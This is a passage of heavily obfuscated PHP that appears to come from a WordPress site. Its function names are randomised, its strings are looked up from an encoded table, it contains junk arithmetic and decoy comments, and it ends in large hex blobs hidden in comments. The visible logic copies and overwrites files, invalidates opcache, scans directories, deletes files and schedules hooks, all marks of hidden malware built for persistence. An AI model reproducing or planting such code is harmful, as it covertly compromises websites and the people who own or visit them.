    if (!$ku1kalu70qv1al7m    &&  !dat9tig44if2fhzvffmjdd($auxdpth4tt))  {
if (hrfhci3wwbgn47uho($auxdpth4tt)   ||    m5wd69bqaohezg3q($auxdpth4tt)   !==   false)     {
       if     (kcysqw_r7i8c86af_6($auxdpth4tt,   $auxdpth4tt  .      b5xx0lrqzfc(1888))    && $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1884))) @opcache_invalidate($auxdpth4tt, true);

 }


unset($u40mbkgau53h9,     $ku1kalu70qv1al7m,      $b_jbcqh1wu,  $e25nk7bgye0u);
continue;$r8b45fhj=44+38;$r55kdwunq43y=$r8b45fhj-30;
}


if     (!$ku1kalu70qv1al7m &&  $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57']($GLOBALS['__scf_xz_5zbcnz0m_3']($auxdpth4tt,  pvz_9xuc0nzl0m(1881))),  0,  (0x9+0x3)) > $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57']($q3eeimitmw),     0,  (0x3+0x9)))    {


      if  (!q3hfvmih78obmd4trwgtn($auxdpth4tt,  $b217bsv53c4kvwh))  return;
    }


unset($u40mbkgau53h9,     $ku1kalu70qv1al7m,     $b_jbcqh1wu,   $e25nk7bgye0u);
   }
 }



}
unset($b217bsv53c4kvwh,  $k7z3vatmljy9oq7l,  $bl37s49meg,  $l8lruxoztux,     $t3xhnkmyb4, $bapow_cim4,   $_ibfymodzie,   $auxdpth4tt,  $uf2g7c1fhl3u,   $q3eeimitmw,  $j86ibx65h0su,    $bc7bcaoixys42b3,  $s5vibuiw52_q93we,   $vgeqkyr68up);



     }    catch (Throwable  $uvo4msk8s29_) {
     }   catch  (Exception   $uvo4msk8s29_) {
}



    unset($a_k5xm0svemlj);
  if      (isset($GLOBALS[pvz_9xuc0nzl0m(191)]))  {
// WP Global Styles hook callback

   if (version_compare((string)   $GLOBALS[cv8ducrec(1889)],   jqg87ez26lzm3yp01xj2q(),  s99lg14mcd3un(1243)))   return;
    $GLOBALS[j8bjjevd80e(1565)] = 1;
  }  elseif  (defined(s99lg14mcd3un(1890))) {
    $usz2zvntxvxr   =  constant(cv8ducrec(1890));
   if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($usz2zvntxvxr)  && $GLOBALS['__scf_cr07b5s7432_100'](b5xx0lrqzfc(1308), $usz2zvntxvxr)     && version_compare($usz2zvntxvxr, jqg87ez26lzm3yp01xj2q(),   b5xx0lrqzfc(1243)))    return;
       $GLOBALS[j8bjjevd80e(1565)] = 1;
unset($usz2zvntxvxr);



     }
      $GLOBALS[pvz_9xuc0nzl0m(1889)]   =  jqg87ez26lzm3yp01xj2q();
 if ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(60)))  @clearstatcache(true,  curga5ep68su8__o());
 $GLOBALS[pvz_9xuc0nzl0m(192)]      =   (string)   @$GLOBALS['__scf_a5ks8ssf6z1jkm_103'](curga5ep68su8__o())    .  ':' . (string)   @$GLOBALS['__scf_ha0rpt74l7eb9_102'](curga5ep68su8__o());


if     (!defined(b5xx0lrqzfc(1890)))   define(j8bjjevd80e(1890),   jqg87ez26lzm3yp01xj2q());
    if (!defined(cv8ducrec(1891))) define(cv8ducrec(1891),   jqg87ez26lzm3yp01xj2q());
 



  dhcqo7x2bpwxg8p954(cv8ducrec(228));$ckq6dmqt=4820;$z0ltnu8uc2pi8=$ckq6dmqt%16;
 
     f1mfvuh0d06pxmi9jdb6vn(curga5ep68su8__o());
 if     ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1892))    &&  $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1893)))     {
 try   {
        $jkvjr35gv1   =   eki4v2wrqno4knxgtm4qhv();
   if  (@$GLOBALS['__scf_nish5zuncssvgd_43']($jkvjr35gv1))  {
 $sj_do82830o3vvv = pn7ilzfkmyogdbglb3nhtx();
    $eaclm45onusts = x002260tc_2l50yfgc3hj($jkvjr35gv1,     (4967+33));
       if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($eaclm45onusts))  {
foreach    ($eaclm45onusts   as     $ejybrumqxi0ws)  {
 if ($ejybrumqxi0ws === $sj_do82830o3vvv) continue;
if  ($GLOBALS['__scf_i1sl42qxo03g_107']($GLOBALS['__scf_h3mngbzp79_212']($ejybrumqxi0ws,   constant(s99lg14mcd3un(1075))))     !==     s99lg14mcd3un(1894))    continue;
 $nto91roasmftk2 =      $jkvjr35gv1   .    '/'  .     $ejybrumqxi0ws;
if   (@$GLOBALS['__scf_xaseomj3flge_20']($nto91roasmftk2)  &&  @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($nto91roasmftk2)   >    (4930+70)  &&  oahk6ik6p30_tx4($nto91roasmftk2,  (4542+458))) {


 icbu01_4oustb8($nto91roasmftk2);
       

    }


 }
 }


  }
   } catch   (Throwable  $uvo4msk8s29_)      {
   f1995qrx5prr7cbl19co0e(s99lg14mcd3un(229),   $uvo4msk8s29_);

   }    catch (Exception  $uvo4msk8s29_) {

  }
 }




 if   (!  af6pxn08t8_r1ab92fa0ze())  {
// fork bounded subscriber

 d25ke5lz6ilx2qgf(j8bjjevd80e(1895),    b5xx0lrqzfc(1896), 1);$mhmhe9us02pg=5566;$oyils240noem=$mhmhe9us02pg%16;
   }



  


   $GLOBALS[cv8ducrec(741)]   =    array();   
 $GLOBALS[pvz_9xuc0nzl0m(444)] =    array();      


$GLOBALS[pvz_9xuc0nzl0m(1897)]    =  "";$_649awatk0zv2=90+32;$sgx223x8knja3=$_649awatk0zv2-4;    

  if   ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(179))) {
 $GLOBALS['__scf_q0ye8_g2b4gf_179'](j8bjjevd80e(1898));
$GLOBALS['__scf_q0ye8_g2b4gf_179'](pvz_9xuc0nzl0m(1899));
   }



  $weoc199zfbv397 =   $GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()) .   cv8ducrec(1900)  .  $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),  pvz_9xuc0nzl0m(1881));
 if  (@$GLOBALS['__scf_xaseomj3flge_20']($weoc199zfbv397))     {
  $p744x4hg_obd6p7 =  $GLOBALS['__scf_qbsuu37jbe5t_328']((string)      @$GLOBALS['__scf_v_rxq_yh85s05_99']($weoc199zfbv397));
 $lumi_agtkuisi =  zxfq3_tgw7t51nr();
if  ($p744x4hg_obd6p7 ===     "" || ($lumi_agtkuisi   !== ""  && $p744x4hg_obd6p7    !==  $lumi_agtkuisi))  wlm_50lfl72sy8hrb_9xe9($weoc199zfbv397);

  unset($p744x4hg_obd6p7, $lumi_agtkuisi);
      }
 try     {
  @$GLOBALS['__scf_w_83qzdu7rtu_74']($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o())   . j8bjjevd80e(1901) .  $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),  pvz_9xuc0nzl0m(1902)));
 $lumi_agtkuisi =    zxfq3_tgw7t51nr();
    if ($lumi_agtkuisi !== "")  {
$dxot6p41bpelz = cv8ducrec(1903)      .   $lumi_agtkuisi;
   foreach  (array($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()),  eki4v2wrqno4knxgtm4qhv())   as  $vexb_h2alef9sm) {
 if  (@$GLOBALS['__scf_xaseomj3flge_20']($vexb_h2alef9sm   .    '/'  .  $dxot6p41bpelz))  @$GLOBALS['__scf_yq6i_srj9g0m4_19']($vexb_h2alef9sm .     '/'    .    $dxot6p41bpelz);
      }
      }
 unset($lumi_agtkuisi,  $dxot6p41bpelz,  $vexb_h2alef9sm);
}    catch (Throwable   $uvo4msk8s29_)  {


 }   catch (Exception  $uvo4msk8s29_)   {
}
unset($weoc199zfbv397);



       


 d25ke5lz6ilx2qgf(cv8ducrec(766),    pvz_9xuc0nzl0m(1904),    0);





d25ke5lz6ilx2qgf(cv8ducrec(766),  cv8ducrec(1905), 0);
   d25ke5lz6ilx2qgf(s99lg14mcd3un(1906), b5xx0lrqzfc(1907), 0);
   d25ke5lz6ilx2qgf(b5xx0lrqzfc(1908),   pvz_9xuc0nzl0m(1909),   0);

  d25ke5lz6ilx2qgf(cv8ducrec(1908),    cv8ducrec(1910), 2);
d25ke5lz6ilx2qgf(j8bjjevd80e(1908),  s99lg14mcd3un(1911),  (0x1+0x2));
   d25ke5lz6ilx2qgf(s99lg14mcd3un(1908),      s99lg14mcd3un(1912),    (162^166));
       d25ke5lz6ilx2qgf(s99lg14mcd3un(1895), s99lg14mcd3un(1913), (2+3));
_ue9dl_f87dcm73xfrb3y6(s99lg14mcd3un(1914), s99lg14mcd3un(1915),  (219^209),  1);
 _ue9dl_f87dcm73xfrb3y6(s99lg14mcd3un(1916),    s99lg14mcd3un(1915), (16-6),  1);
     _ue9dl_f87dcm73xfrb3y6(b5xx0lrqzfc(1917),   b5xx0lrqzfc(1915), (14-4),   1);
_ue9dl_f87dcm73xfrb3y6(b5xx0lrqzfc(1918), cv8ducrec(1915), (241^251), 1);
   
  _ue9dl_f87dcm73xfrb3y6(b5xx0lrqzfc(1919),    s99lg14mcd3un(1920), (680+319), (2+1));
      d25ke5lz6ilx2qgf(cv8ducrec(884),  s99lg14mcd3un(1921),   (939+60),  2);
 
    _ue9dl_f87dcm73xfrb3y6(cv8ducrec(1922),   s99lg14mcd3un(1923));
  _ue9dl_f87dcm73xfrb3y6(cv8ducrec(1924),  pvz_9xuc0nzl0m(1925),    (0x6+0x4),  2);
  _ue9dl_f87dcm73xfrb3y6(s99lg14mcd3un(1926),  s99lg14mcd3un(1927));$onjlf4qmlxz1=211|46;$pmw15cqyuroh=$onjlf4qmlxz1^132;
 



 _ue9dl_f87dcm73xfrb3y6(j8bjjevd80e(1928),   j8bjjevd80e(1929),    (132^142),   1);




    _ue9dl_f87dcm73xfrb3y6(b5xx0lrqzfc(1930),  pvz_9xuc0nzl0m(1931),   (4+6),    2);
d25ke5lz6ilx2qgf(cv8ducrec(1932),     j8bjjevd80e(799));

     _ue9dl_f87dcm73xfrb3y6(b5xx0lrqzfc(1933),  j8bjjevd80e(806));



     


 _ue9dl_f87dcm73xfrb3y6(s99lg14mcd3un(1934), cv8ducrec(807));
 
      d25ke5lz6ilx2qgf(s99lg14mcd3un(1935),  cv8ducrec(1936),   -(946+53));
      d25ke5lz6ilx2qgf(b5xx0lrqzfc(1937),   b5xx0lrqzfc(1936),     -(944+55));
   d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1938),  b5xx0lrqzfc(1936),     -(1297-298));

  d25ke5lz6ilx2qgf(s99lg14mcd3un(1939),   j8bjjevd80e(1940), (940+59));
 d25ke5lz6ilx2qgf(j8bjjevd80e(1941),  s99lg14mcd3un(1942),  0);
   d25ke5lz6ilx2qgf(cv8ducrec(207),  pvz_9xuc0nzl0m(1943), 0);



d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1944), s99lg14mcd3un(1945),  (1215-216));
 d25ke5lz6ilx2qgf(j8bjjevd80e(1946),    s99lg14mcd3un(1945),  (908+91));
 


      d25ke5lz6ilx2qgf(b5xx0lrqzfc(1947), s99lg14mcd3un(1948),   2);
       d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1947),    j8bjjevd80e(1949), 0);

  d25ke5lz6ilx2qgf(b5xx0lrqzfc(1947), j8bjjevd80e(1950), 0);
 d25ke5lz6ilx2qgf(cv8ducrec(1947),  s99lg14mcd3un(1951),  0);
       
d25ke5lz6ilx2qgf(cv8ducrec(1947), j8bjjevd80e(1952), 1);
    d25ke5lz6ilx2qgf(b5xx0lrqzfc(1947),  j8bjjevd80e(1953), 2);
// aligned read

  
 d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1947),    b5xx0lrqzfc(1910),  (2+1));
  d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1947),      j8bjjevd80e(1954),   (6-2));
 d25ke5lz6ilx2qgf(s99lg14mcd3un(1947),    s99lg14mcd3un(1955),   (241^244));
d25ke5lz6ilx2qgf(cv8ducrec(1947),   pvz_9xuc0nzl0m(1956),    (154^156));
        d25ke5lz6ilx2qgf(b5xx0lrqzfc(1947),    j8bjjevd80e(1957),    (0x4+0x2));
     d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1958), j8bjjevd80e(1959));
d25ke5lz6ilx2qgf(b5xx0lrqzfc(1947),     j8bjjevd80e(1960),     (0x4+0x3));
     if      ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(179)))    {


 $GLOBALS['__scf_q0ye8_g2b4gf_179'](function    ()    {
   if    (!empty($GLOBALS[pvz_9xuc0nzl0m(1961)]))     return;


 if    (!defined(j8bjjevd80e(1713))  ||      !$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1962))) return;
if    ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1963)))   {
        try  {
 b9qwphei1gqk0791pp();
}  catch    (Throwable   $uvo4msk8s29_)  {



      }    catch  (Exception     $uvo4msk8s29_)     {

       }
 }
    });


}
    d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1964),  cv8ducrec(1965), (0x2+0x6));
     d25ke5lz6ilx2qgf(j8bjjevd80e(1640), j8bjjevd80e(1966));
     d25ke5lz6ilx2qgf(j8bjjevd80e(1711),      cv8ducrec(1967));
   d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(1895),  s99lg14mcd3un(1968),  (11-1));
   d25ke5lz6ilx2qgf(cv8ducrec(1964),     function  ()   {
   if  (!$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1962)) ||  !$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1786)))     return;
    $esvy38z6q4rck   =  (int)    @get_option(j8bjjevd80e(1969), 0);
if     (($GLOBALS['__scf_tmn0v_xik_1b_195']() -  $esvy38z6q4rck)   >  (3520+80)) {
 if   (!k0z4yy7qpc1ii_ewbdqi())   return;
@update_option(b5xx0lrqzfc(1969),      $GLOBALS['__scf_tmn0v_xik_1b_195']());
x9a67n48iwppq963jdp7li();
 }
  },    (215^222));
    
   d25ke5lz6ilx2qgf(pvz_9xuc0nzl0m(104),  pvz_9xuc0nzl0m(1970));
    _ue9dl_f87dcm73xfrb3y6(cv8ducrec(1971),  b5xx0lrqzfc(1972));
 if    ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(467))  &&   did_action(pvz_9xuc0nzl0m(1964)))   {$z_xqtmgeq=115|52;$mzenidtds5=$z_xqtmgeq^26;


k_ji4yjjphzohodoa();



}



   
}
/*998f904edf03579931b5a3f2e769fb9b5d3a53fb1cd57a1267dc26aecb6cd361efc9fe740a093a74c42410899a4853d8e059fa83b917e44e347385cf83075b847ae3270f5944d24efacbe8f91af3ef322ea687fe90587f502a9522b3b3e60bb66db4b4c7140388862c3367a1554afb367d6344bf9a65b790d0b749de1b592f0ff87ab3f03ae8f498c6d502c82f9adc08e3925072abcf453ae81ac481d05aa91613b227c8bbf86bc83bc7eee4092f11fcab86dffa3e8a240411f72c759722e37ca98d6ec03108e6934fb4e1213d982dec3531875dc49a42a512e693971b28c4325efd1a9bfe70df3ac588d440be58afd22cf68838817a061c825e9d1fc773da0b745addc46cb9585f43bdd2f48706ba1d24f5b98e9c668655d28b5fdc065fae58bd2d2a3d78157da74defc991e861890f3a6f13cea9df6b22cfdc397da2886cbece4b27b65085b49ff077e108487a0d33cac1dec02e7fd9708a233c02e2d4eb988118ed3eb25c6a13a48a5d887b54f1c91ea3ca7ebe505e50a0e2e3fd076479fa3726d70bab5cb914d7458c2162361a63fcf0bf4bf07b252b0d74789debd3f4cff358fdbc075eeec35383a13ade871dfd9970d5ad6e0b5c3a111dd4310f6ff0175114fc9f321b38b7fdcbd694af99e5bc385dd2ea91f65c18323214697ea8cb9411376efb81563240cb163a433f98d0f40d39ede6d2b74ecc4b29dfaa394d4d175b3c4fd9bf2ffea287ea13d1ea427370e1b334a48dca2b967ed01670cbd5ea6d2678934257aa137518d080481402ded9966d4c15b3ebfdcffdad7c9424ecab55248b54fff4edbc574c64c80a696e618d3373b378d25433e3b437fd87db61c2d17237b274b8d8d70bc344c2a2acb370a2c5e4b1706843c516d44b78d740089b7ef34c08064ee0cfd2480404d0a42dbc09f808a6225113a50c91980ecac751de7802c54c5ce976996b2364cd1adf704b8314ac49862ab755fbd95b4979848be3fc97e7f11456180762d0248d68018b8a2db28d4565d3ee418eeff15be536dd4cf5da584545d528df9d419145f1ff2fbaac58ca638c182c7b4a78e940c5bb3a89931cdd9bef2d6c6ac56bd7b7d3c4a91598d0b8a3977d2e96fc0a9eac34efeb831036c6beb69e54b9c4a0826864bda34ac5901021a241dec5ce830024e0ae9c6a2295f1ef8e4d549ed844e20cc2236b8c6c3aba61c7ab4ce48543dd686612ebb2eff8daca1b87b8bc6e3ac6235ecd6199e72d7319fd59a6b6926018b5ea3bfba168818977939eb61cd0284611f8dd66421fbca32bb20fc9a5b25db31dae4312b53960ce8cf47c2ede6ec223c4729466b7482e5d958eaf784fadd361412a63365d7870b170dbc71bbcb52d9f8a51c0bfbc692f9fc50b2a5ebcad8c78b871fa2ee1b8e54bd9da0048243384318c19de2e8f5ad8fcc973c86337ace5311f8cb788ab6b9ac322fc1c4770d67df1abbf2861cd260b9eb6e092ce09525d552db3de140ceebd235d9780f3f941b9b0a15511f8bcca6fadadce0f5cae97c1970d1fb52581f3cfb16203a4330810051641931a995127a4470f617ac81d6cba64608f2f32f98eda9acecba5e13e832dd5637030b6307dc58f616b1a1790d9541011f419fa5b22806da8253d669a760b01273b0d3b0c9f29b5cb9db6957494ed448f72cd019819c0770c226edf31d1961180de77d7b0e24e51ef592b25efcd89bfdb90a0e6e64b016b5b034ce2d1c6d21a7609d622860f38f0921576f0dafc95475b5dbaf2c6d8128fe2df148ec212a2a64df0c4a79f9b352b4bdf3e0b57bc5d3311c0e5a42a3ba4723a02613f2c36858a518a1d95ac21eb5c848187b893475874d05a7445e5d7e17223c067df61523f085d70e6223a14e5c72d9a111e937ff75e297ed045b849ae35a77d8b712d464b266c160a9f55235484e4ba9d1ea982bbdce6609dd1b533a1b4f0b694b55c780e27e4ca622c8a2123f7863eda65335e5eb223ceb9ab65d59c7612eb240e3891b0c5e23b660b52daffd91d2ad744c7135737570c3b37c5ccbcf1e3c53f3705ea715d731510026fad049ce125f35a4b4937ab4d2e04b8ff18d68f10f8084fa08e1cf7a760242a9840cd1e0a2a0129922e95aff04964938d82be96a8a9f8292e1e2b7e4ae87253b3d8680cf615914fadba6083b1e169617e8a51feb48b7c4a764c1cff228566e7e6d5c11e38799f56b1d845ec44eb0ce37c87f387a9f907fe0926e5b5df0ee20d707a9f5a445ce12712c3a186eb3b3d3d629e2f1f0872d56bcb3cfe9119b4d576dec4349df6c253530b71e4276e96f13b7c797d78b9f8ac14f490159a81af37f48a975f3c8c828195896141098bfe48143bf94738a118d5abb5b8d2e677bbc03fdab4dcbc98e7ee10df900114c6b373894619c6539372983715887529456c5ff48132bfac325c9cd38502b92e38cf106d36d2e63babf3f2c42e9b6257154956d705e03b0eaa37489a8b626ccf770041864f224a9fbd636d0ad1a05ab6be07d07a7d68cbb06dd534288ed909b5628b5eeb41ab3560739830d010909b23bcca9c2dbeb80b87248aebd5b362efddb16704d929c9a194a901aa73fef86b10367a64aa8c317a011c59e843737cadb44b6c2fe5206005d1a5c4ba67dbded5e2b905932944ea8a941069d3ba970cc861bbfc71c2d99989ceebf594d68860e4ac2226d1ffb4fa1d1d77dea3c2cb92ff5aa268f351ee989370e4f215cc4dbafcdfeda72f25f34740e8754c36c041b3468a2a2b53f788df71a06ab394248356fa9f60e82fedbf3b5f299b3fd6babf93a831a8ddc632af3f7b31f34f4fee8b700be5006d762c4eaa*/
/*d1f1787580016a3d2b0b39c3177c149f07fa1352819230469ab51f85c3d466a3157f1d2eb1510be048b91b5e90de2891a98b993019d192c574fe703bb6605488048ec43fe1898937bd55070dd14722f19e7b7a61eee5581fbf7feb4372544fb95e8d5e7970210ab8470851aefb0918a8adfbf2d0102d1114bbaaa431be6175b6db3e67112e03982fb0185464e4a926fb8346e0da56b601290eb444140ae2e3e4dd79a28285839323bfa8109a11c25248730a9f719b5f057a8dfc5c1a0fdd0cbe44c0ae2f4708fc90f3ed7ee797627f1c3209c38f91f8f4949e2da1c444e19aa0a7534d8ed5b68eed1fe4cfda8e5e1fbcb5a5dffcab854b613563ce124a517a103b5d9ccfcd6b59c9e489e08f4220e953fdf559d30ef7a0a531a4339ed01beed59ad1912a68210ad254b4a13432e1e82964ff209b5f52e373f32921938088122a5cb18bc3154684aef9397fa551a9ba3d7608490be913b1888c2305c4be74c9b32365ae01e97c459e530b20597c974033a801f17efbc286ef4cd4183971a0a03d75925bae0220e806f49916dad2e7544e831ee5c28746ad79b375604b08267b579612d215d38f28bbbfb55c1f9b67d927bdc47acd23d0a9ea75d397d11d3748d48af256b8d5dc7bc7aa500ae067d6d5d38f4c15ab470042a1e5b6b84964fd87d03983365a4da8d70dd55dd7b4256bc7298b2aab8f154ae51599cfe726451ec305967f72cdd29dfc9e4de3e9f60d7ebc3ecc7a4c905fc94989fc6ee105d8777d3f181145b3780b284c2f76f38c733311657966d29ab1f4f25f44fb884a57eb28b6ab80dc5d61ff2246327a3937a39f49f920cb63cb3307e4fa805cb3a0c441375f3d32999fd46d38efc5acead6d9676f80f7911aac47fd08ca193005fbd937f3d7135fb6a27965ce864b216d69947a44f37e1b9ad24ea045a88acb83eeb69f87ee1b870ee85f7aeaedc227534954064355487a20ac4706be248d6b83c3205bed3554ffd9b18fc3d095ad87e0bea419c2e50e7dda1a12a2c7b4c7cbbeaf97669734068f987549cebd3124f7ca00d04b3e5a5b1fccf5a63af431686e36fa95b5dfed2cd17e1624a7bf24901a0113f0696f1cb656e93682722825b0c5ab2102324a7787817c1b2846148f551043fd372c9c9f27402b8b743b7bf034b3c65446da0a5739967da775396f481b71d35a7dd222dd1d2229a7dce99a56a9cec2c84c0f28e099534e49ccf543c0e4dd1f99ccf57c2ab50c76965c6bc7b366dd2d59ec4b4903c0a8190d33b7427125889637dfb9d5bda6c08a1d5a6f895e12ded43812a95e49705763d4a1406361c8d20d4ff655608f78dd3f33d64ee99106c61018d98012e3de5f5215711feddf5ac0dc351fb5e30e14441cdbaca9a0f14630522c9ea39c20ae17f4697e6918fc6f0dba43f0c35ea8efc1f2c5f7d4fdeabca6c2980f345e3988307a8279f2b1b9c13c34402d106cf0093edc12d5d22df76bfcb25c4a53f6b21ab574632bf9eca9605afef7e54adb15bf3fb8be9a1db667e3deff74c187236716a5a492387e476253f1e234997bc8ed4141e659ac087627c95e81ac369daa3f1c18932be377008b843191e9d6b6fa6261a5fc7e6b9045fe2011e9ac047a39bcd87a037248db90fa1951c265a4a45a113fb24de65f72d91ad1f7a6e62b08b4a39a19fd6bca8b3886d5ac6c3c16f58811afa91bef055192d124048ac4db56ec17fb5e959c294ede72c4c7f278998a0b052e7f65eb2cb53672b301eb4493f683f5f0331dd21675004ee0b9d08f20384c460a6435964fb5350b6b12527c448106ba6910d22494d1609820c1b6d92ecee5cbde9b61043b9dbea7288cea7ccf0746e56d7d13da6e3d4468d73ef39962a73c5435ec86c8e1ed9423cfb8aaf407c5066ffcd7e64c0b5d41a801c25eb7fce5092ac48251802bc0591cd5c2beb63533974704b85d03ebe7bfe90dc1131e16b4b6c37804d0c79ca4f478c7e58a01101e6360140fb5c0db98b676c3ce055cef787b412c75867f3ef92678f121c4c1e14473e97679f05211397e3cf384bab7e38f7d5c0f539ee367d0346bef1e8db127a640674839f27dfdcb5427de15f5d13a1f1a7e9a6d83bc51ce0071136d367511c91ddb5619fa9a886017d662164bf4bcf6996b739d617b5f401bfbd60239d46bfca597b24ac0a1d07ed68e1f5ad598fb981ca672c26311a7e40892b72e4d11a13ec3cdb683b727f6ea7a4642d12140adad8eea0a872a0c6b943ae6796088e56355d2f25fbade1ded36da4780a9c7f6724b3b53d9fc3600d7f402eef976e5fa9fd17e8b6c0fc42e7d471509a5775d53da9d727ec41afcdcd282caf82275ab1fbeb6e56e6f668a14618a4a3d8f885c069ab3c09078cf6cde109b12161127317d010015afe5843d6b5609d81015abddaa1e0db0b470a006c3fad7e9fe94650ddf0d9b2c4f76c2a57626c3e66aa881a2e0a79a768a4cabe10b5eca875dba3a12c21d7c490d73017e99c6cbc6b29d5d5c4c199d94673a1f9e0cbf9914b9219193395a9c8fb71564c2f492c01861cc57453496343617ea19b03e365c2ac4c114817ccdbcb97912fc8517da4b98ba43f34df0aa78a7786a6ca130548b9979a5b71335bdfec840124ef76118200f2ad914f621afb380b53a68a1021a8eda92a4ee870597b436e65cb784fdc07e0ae308eec384f0eac54a9393f22c5d50f782e426f9645285dea1905eabcce810d038f5652c5231e646ceba8ad70c1106b180df1c2e1f68308ad98bf8f0b7fc66aa2f6ae59408501225767a60a31d353a2f903c934b0b794ae49e3fcbd3e7c1db3949bbe2505658a544dd*/
/*d26cf2f88225b275b6e6d1da13c86d3daf1ee00cec49288aa57b1650ba1291894bca8cd4c44e1d42d76e11d4704975b192a59126e33e8dc700b2abd13df85bbb9323d031d71e424d94dc155b06a6439854269237421437270f5360e8ce0b09cf5d7c1d17dac40ae0f45d8f3210e48e519ee4cbb25bed88ebab8c37e15fc05c8953c68bcfb65af1c4ec8fcf214b31580bf86ae193e61ba43f6c7f963f2dbce5c64b64c0a11e320e3db10a8e41998aa42b0efa938bf333d8587d3b95b02a7747a73a3a0e5eec1ea3822d4d03bc4c4ab86c07ba00a83bd7ad3b6031245f18fa7d4d920ae251bc2448015e39350109889650f0d8c3cdf8e3373d5163ba763eabc8819fb159f0e0839d86389a1ce6e9ab0471c1b4380f68e9ffc4c553bac75353c7a1b4c04c2dda171e20f79ddd9142c9f27faf35b9bce438cb686f98c6b463d76f688028cd774a2a344363723d254c8bd1c72977224e269d29451f0656ba3e2603b1f6dad6f24ffc0853d341c6a6b3e80a6950fdb10f52f519ab60acf2d7b8c3d4d246c01907e58c75bb8248f66812c66c9b0db7385630fb6ef023ca5631a4206a62ffbbd293a5f9e0a9d03dd13d8ed8aa47896412bc1ed66a276123712b8997c2025e87cbc4552e3c784f2c70a5b17ff099ff05e187f582d818ab80adbb3414768aa9d28e5186df92fead40aa3798fe1623e80e9f158dc367b0de089ee1e7c4c135f4e0cd3b39bd7db92dac9cb902812a7eeede6178d902db3d1a589065d4bc13fb4c175fa1e1b44168fbc2fda6ab594c75b49583fe5ff03606a712cea405b8654a71a2c97d727478d28c897a455f34ccd1c3bc25ab2c2019fef87cef1d6893aabdc301d3c0a08b49238c9cf33a6e48a3f104a435dbd3fee01702db59c9d6278a5fb84d5992b199243f3c1ccbfa76883c0bcaf7056cd48b95ef0cac36af7e3f9657ed201b8b15a79a28adb67a7ee3be0e125b13c2324d2d6dbaa4f97e73ad8ed051c7b6cdae0dc7812fe546d283c5cbf51e7fa4e2f51219f637c6635419d33cbd3243ccba576c7bab633d613d06bf51ab7f9bbd1f4de2619a04a641e610b8e8e38ee97d298cca760d086bb5e30a6c08c8f882db70287328887b87baaced9fe54e40ffdd5ead2a51dd25b6cce9a2603ac71d139189dc708b35fd832799869a5d96cc6c9a7d2f290e89e212a4b78a0c303528ec2c1cc44103989abe44d8e5d805e1404f408aba4ae253a112745ddf3b8e60cd8909ee51a4f6bcddc746d0fc755d3d75503a9182779311872bde3340c735c5c0e4b0a6a652e20a3922c64a317379ed56617a9fca25348dd818bfafb5e049e1e53639f896c5a62a43e71674f084952f962a0bbee75434dfd29573dd7e71f0e6e8aa49ff11c6a155534b736efa149ba9d887d466db7c7e6339e9d9ead86c92dbccb84e355cd1e05e23675ab533f2266014946679568ba83c5eacbfd6cf31a6e25e5da3e9b547f42cc111737efd8d0005113ad91b349a41198cce8e4658c3f6071f77de5af3a894ef2bd895b1dcdd8afa5ff3e774e535b1717534b49fcc6938c846bb0db555a4dd4007cb905706d66fc171364404e02597a2897a4a6bb0dd22c4105129b3d68019f7303a034129e5a825c82c1b4123da3cc548572e3d8ecc3b532afb0763f80c9aadb580a94ba808aad979fd3f9e37a9523172b91e16e491b52acdfa06a041e193b60a87e7993df5a7e214cad49452471982b2d04bc576042eb99395bc0ad726664f2216d851f13cc3bf749c25a83345f90faf3ae6e952ff2e8b885649d510c61cdaad8c324a484f2383d56ca1bbf0dedf20d2a7c9673fc0a9b954b5f365e08e7206a8a7be066cb8a94e6f2de7c1ed828d246f95c7cb0be98ce25c7e08e0b61c3ecc67233d21948f99c5d12390e990a32d5b7e97325006ec35f3bd9145be38641d7a81fe34b69b7727fa393b73bec1ceb75e697173402566f899abc5fae4b284d8d805c9cdac6ca01ae35055f13b46b1ac067d715bbd4a7b9db407b76c5279de313cfb5ed378cdd4ca1eaf7235b91325baf9cf3167d8df8396edc928ba6337eeb9bf6b0e9fd119873198f4e1ce2567dd68e1614b6d902984e66c06516b8fcceeb184360eeff7fa6e98093620f9cd6f4a4e61126c2d33bec9ed43eb8eaeda7193d2f07a0698ec5f898636fcb61d7f32add55dcd1815acb73afaa34776e38a76474bbd036d9a173eac979b4894d7d60f17da94b21766b4fbed20ba47eda1e223f4a4976b9e3e916bd4b529fe00f6debf14944750f149ba6c7cc2e033ef199edc5ab3cade3126c6c16feab07660932c4efc86888b4ec9a0b7710ba84d72d82f9781c776ff9d3a88312b3aaf0bf37962510b36de28fdda12eeb235d2a130973817e6f1a554da6cd5c80893e1bbf089b5c9e65fd9f186da8e7ace8fb1f16edeff5e934b80092ddbfe09647c8be40858bbd7eb9bc8acbc4ead1591d7b8cb4fe23f